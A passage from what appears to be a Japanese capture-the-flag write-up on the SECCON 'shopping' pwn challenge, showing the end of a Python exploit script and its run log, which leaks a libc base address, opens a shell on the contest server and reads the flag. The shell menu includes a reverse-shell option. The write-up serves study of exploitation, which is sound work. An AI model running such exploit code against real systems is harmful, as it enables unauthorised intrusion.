            self.sendln('y')
            self.read_until('when crash : ')
            self.sendln(result)
        else:
            self.sendln('n')

        return {'name':o_n, 'reason':o_r}

#==========

if __name__=='__main__':
    cmn = Communicate(env.target, env.mode)
    attack(cmn)

    sh = Shell(cmn)
    sh.select()
    del(sh)

    del(cmn)
    
#==========

さて,どうでしょうか

[+]Environment : set environment "remote"
[*]Loading "../libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e"...
[*]Loading "./shopping"...
[*]Connect to shopping.pwn.seccon.jp:16294
[*]m_shop : 1000000
[*]m_shop : 1600000
[*]m_shop : 2200000
[*]m_shop : 3400000
[*]m_shop : 5200000
[*]m_shop : 8200000
[*]m_shop : 13000000
[*]m_shop : 20800000
[*]m_shop : 32800000
[*]m_shop : 52000000
[*]m_shop : 83200000
[*]m_shop : 133000000
[*]m_shop : 212800000
[*]m_shop : 340000000
[*]m_shop : 544000000
[*]m_shop : 870400000
[*]m_shop : 1392400000
[+]addr_libc_base    = 0x7fd9b89b6000
[A]dvanced      [N]ormal        [I]nteractive   [R]everseShell
[S]tatus        [E]xit
(A/N/I/R/S/E)...n
$cat flag.txt
SECCON{pl3453_buy_4_l07!!}
$

無事にお店が倒産し,フラグも取れました!


さて,ここまでで cheer_msg, checker, shopping の3問を解説してきました.
流石に疲れました.

記事もだいぶ延びてしまったので,ここで一旦閉じます.
残りのmboardとchatの2問は次の記事で解説します!

是非こちらもご一読ください